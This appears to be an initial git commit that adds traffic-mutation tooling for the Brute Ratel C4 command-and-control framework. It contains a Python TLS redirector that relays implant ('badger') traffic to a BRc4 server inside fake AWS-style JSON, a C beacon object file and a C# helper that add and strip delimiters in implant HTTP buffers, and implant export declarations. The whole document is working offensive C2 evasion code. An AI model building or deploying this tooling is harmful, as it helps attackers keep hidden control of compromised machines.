initial commit

This commit is contained in:
i2p
2026-08-27 11:22:43 -06:00
commit c0db112be3
155 changed files with 5570 additions and 0 deletions
@@ -0,0 +1,18 @@
#include <windows.h>
void coffee(char** argv, int argc, WCHAR** dispatch);
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
DECLSPEC_IMPORT int BadgerAtoi(char* string);
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
DECLSPEC_IMPORT BOOL BadgerSetdebug();
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
@@ -0,0 +1 @@
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:exe /out:modify_http.exe modify_http.cs
@@ -0,0 +1,148 @@
#!/usr/bin/python3
import threading
import argparse
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import logging
DEBUG_LOGS = False
BRC4_LISTENER_URL = ""
BRC4_USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
PostRequestPrepend = "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \""
PostRequestPrependLength = len(PostRequestPrepend)
PostRequestAppend = "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
PostRequestAppendLength = len(PostRequestAppend)
PostResponsePrepend = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \""
PostResponsePrependLength = len(PostResponsePrepend)
PostResponseAppend = "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
PostResponseAppendLength = len(PostResponseAppend)
PostEmptyResponse = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n"
PostEmptyResponseLength = (PostEmptyResponse)
logging.basicConfig(
format='%(asctime)s - %(levelname)s - %(message)s',
level=logging.INFO, # Set log level to DEBUG
datefmt='%Y-%m-%d %H:%M:%S' # Specify the date and time format
)
def ModifyPostRequest(postData):
postData = postData[PostRequestPrependLength:-PostRequestAppendLength]
postData = postData.replace("$", "")
postData = PostRequestPrepend + postData + PostRequestAppend
if not DEBUG_LOGS:
print(".")
return postData
def ModifyPostResponse(postResponse):
if (postResponse != PostEmptyResponse):
postResponse = postResponse[PostResponsePrependLength:-PostResponseAppendLength]
part_size = 5
if part_size <= 0 or part_size > len(postResponse):
return postResponse
parts = [postResponse[i:i + part_size] for i in range(0, len(postResponse), part_size)]
postResponse = "$".join(parts)
postResponse = PostResponsePrepend + postResponse + PostResponseAppend
return postResponse
class Stager(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
def _html(self, message):
content = f"{message}"
return content.encode("utf8")
def do_GET(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
logging.info("[" + currtime + "] GET request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_HEAD(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
logging.info("[" + currtime + "] HEAD request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_POST(self):
# verifying that useragent matches
if (self.headers["User-Agent"] == BRC4_USERAGENT):
try:
global DEBUG_LOGS
postRequest = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
if DEBUG_LOGS:
datalen = len(postRequest)
logging.info(f"Received from badger: {datalen} bytes (START)")
postRequest = ModifyPostRequest(postRequest)
headers = {
"Content-Type": "application/json",
"User-Agent": BRC4_USERAGENT,
}
if DEBUG_LOGS:
datalen = len(postRequest)
logging.info(f"Sent to BRc4 server: {datalen} bytes")
response = requests.post(BRC4_LISTENER_URL, postRequest, headers=headers, verify=False)
if DEBUG_LOGS:
datalen = len(response.text)
logging.info(f"Received from BRc4 server: {datalen} bytes")
postResponse = ModifyPostResponse(response.text)
if DEBUG_LOGS:
datalen = len(postResponse)
logging.info(f"Sent to badger: {datalen} bytes (END)")
self._set_headers()
self.wfile.write(postResponse.encode("utf-8"))
except Exception as ex:
logging.info("[-] Exception: ", ex)
def log_message(self, format, *args):
return
def main():
parser = argparse.ArgumentParser(description='BRc4 HTTP Mutating Server Example 0.1')
parser.add_argument('-c', '--cert', type=str, required=True, help="certificate file")
parser.add_argument('-k', '--key', type=str, required=True, help="certificate key")
parser.add_argument('-f', '--forward', type=str, required=True, help="BRc4 server to forward. Eg.: '172.16.219.1:10443'")
parser.add_argument('-l', '--listener', type=str, required=True, help="Listener host and port. Eg.: '172.16.219.1:443'")
parser.add_argument('-u', '--url', type=str, required=True, help="BRc4 URL to forward")
parser.add_argument('-d', '--debug', action='store_true', required=False, help="Enable debug logs")
args = parser.parse_args()
listenerHost = args.listener.split(":")[0]
listenerPort = args.listener.split(":")[1]
if not args.url.startswith("/"):
args.url = "/" + args.url
global BRC4_LISTENER_URL
global DEBUG_LOGS
BRC4_LISTENER_URL = "https://" + args.forward + args.url
logging.info(f"External C2 Server: '{args.listener}' => '{BRC4_LISTENER_URL}'")
logging.info(f"Useragent: '{BRC4_USERAGENT}'")
if args.debug:
logging.info(f"Debug logs enabled")
DEBUG_LOGS = True
server = HTTPServer((listenerHost, int(listenerPort)), Stager)
server.socket = ssl.wrap_socket(server.socket, certfile=args.cert, keyfile=args.key, server_side=True)
thread = threading.Thread(None, server.serve_forever)
thread.daemon = True
thread.start()
thread.join()
if __name__ == "__main__":
main()
@@ -0,0 +1,79 @@
#include <windows.h>
#include <stdio.h>
#include "badger_exports.h"
// compile with:
// x86_64-w64-mingw32-gcc modify_http.c -c -o modify_http.o
char* RemoveDelimiter(char* src_buffer) {
int i, j = 0;
size_t len = BadgerStrlen(src_buffer);
char* dst_buffer = (char*)BadgerAlloc(len + 1); // +1 for the null terminator
if (! dst_buffer) {
return NULL; // Allocation failed
}
BadgerMemcpy(dst_buffer, src_buffer, len);
for (i = 0; i < len; i++) {
// If the current character is not '$', copy it to the new position
if (dst_buffer[i] != '$') {
dst_buffer[j++] = dst_buffer[i];
}
}
// Null-terminate the modified string
dst_buffer[j] = '\0';
return dst_buffer;
}
char* DelimitBuffer(char* src_buffer, size_t part_size) {
size_t size = BadgerStrlen(src_buffer);
if (size == 0 || part_size == 0 || part_size > size) {
return NULL;
}
// Calculate the number of parts
size_t num_parts = (size + part_size - 1) / part_size; // ceil(size / part_size)
size_t new_size = size + (num_parts - 1); // Additional space for delimiters
// Allocate memory for the new string
char* dst_buffer = (char*)BadgerAlloc(new_size + 1); // +1 for the null terminator
if (! dst_buffer) {
return NULL; // Allocation failed
}
size_t new_index = 0;
// Split the src_buffer and add delimiters
for (size_t i = 0; i < size; i += part_size) {
// Copy the part
size_t current_part_size = (i + part_size <= size) ? part_size : (size - i);
BadgerMemcpy(&dst_buffer[new_index], &src_buffer[i], current_part_size);
new_index += current_part_size;
// Add delimiter if not the last part
if (i + part_size < size) {
dst_buffer[new_index++] = '$';
}
}
// Null terminate the new string
dst_buffer[new_index] = '\0';
return dst_buffer;
}
void coffee(char** argv, int argc, WCHAR** dispatch) {
// argc will be 2
// argv[0] : if string "0", its request; if string "1", its response
// argv[1] : contains request or response buffer depending on argv[0]
CHAR *src_buffer = argv[1];
CHAR *dst_buffer = NULL;
if (BadgerStrcmp(argv[0], "0") == 0) {
size_t part_size = 5;
dst_buffer = DelimitBuffer(src_buffer, part_size);
} else if (BadgerStrcmp(argv[0], "1") == 0) {
dst_buffer = RemoveDelimiter(src_buffer);
}
if (dst_buffer) {
BadgerSetHTTPBuffer((PVOID)dst_buffer);
BadgerFree((PVOID*)&dst_buffer);
}
}
@@ -0,0 +1,87 @@
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.InteropServices;
public class HttpBufferManager {
// Define a delegate that matches the function signature
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate void BadgerSetHTTPBufferDelegate(string argument);
public static void ExecutePointer(string argument, string addressString) {
if (string.IsNullOrEmpty(addressString) || string.IsNullOrEmpty(argument)) {
return;
}
// Convert the string representation of the address to an IntPtr
IntPtr address = (IntPtr)Convert.ToInt64(addressString, 16);
// Convert the IntPtr to a delegate
BadgerSetHTTPBufferDelegate BadgerSetHTTPBuffer = (BadgerSetHTTPBufferDelegate)Marshal.GetDelegateForFunctionPointer(address, typeof(BadgerSetHTTPBufferDelegate));
// Invoke the function via the delegate
BadgerSetHTTPBuffer(argument);
}
public static string RemoveDelimiter(string srcBuffer) {
if (string.IsNullOrEmpty(srcBuffer)) {
return null;
}
int length = srcBuffer.Length;
// Allocate a buffer to store the modified string
char[] dst_buffer = new char[length];
int j = 0;
for (int i = 0; i < length; i++) {
// If the current character is not '$', copy it to the new position
if (srcBuffer[i] != '$') {
dst_buffer[j++] = srcBuffer[i];
}
}
// Create a new string from the modified character array and return it
return new string(dst_buffer, 0, j);
}
public static string DelimitBuffer(string src_buffer, int part_size) {
if (string.IsNullOrEmpty(src_buffer) || part_size <= 0) {
return null;
}
// Calculate the number of full parts
int fullPartsCount = src_buffer.Length / part_size;
int remainder = src_buffer.Length % part_size;
// Create an array to hold the parts
string[] parts = new string[fullPartsCount + (remainder > 0 ? 1 : 0)];
// Split the src_buffer into parts
for (int i = 0; i < fullPartsCount; i++) {
parts[i] = src_buffer.Substring(i * part_size, part_size);
}
// Add the remaining part if any
if (remainder > 0) {
parts[fullPartsCount] = src_buffer.Substring(fullPartsCount * part_size);
}
// Join the parts with the delimiter "$"
return string.Join("$", parts);
}
}
namespace ModifyHttp {
class Program {
static void Main(string[] args) {
// argc will be 3
// argv[0] : if string "0", its request; if string "1", its response
// argv[1] : contains request or response buffer depending on argv[0]
// argv[2] : contains pointer for BadgerSetHTTPBuffer (similar to COFF)
string src_buffer = args[1];
string dst_buffer = "";
if (args[0] == "0") {
int part_size = 5;
dst_buffer = HttpBufferManager.DelimitBuffer(src_buffer, part_size);
} else if (args[0] == "1") {
dst_buffer = HttpBufferManager.RemoveDelimiter(src_buffer);
}
if (dst_buffer != "") {
HttpBufferManager.ExecutePointer(dst_buffer, args[2]);
}
}
}
}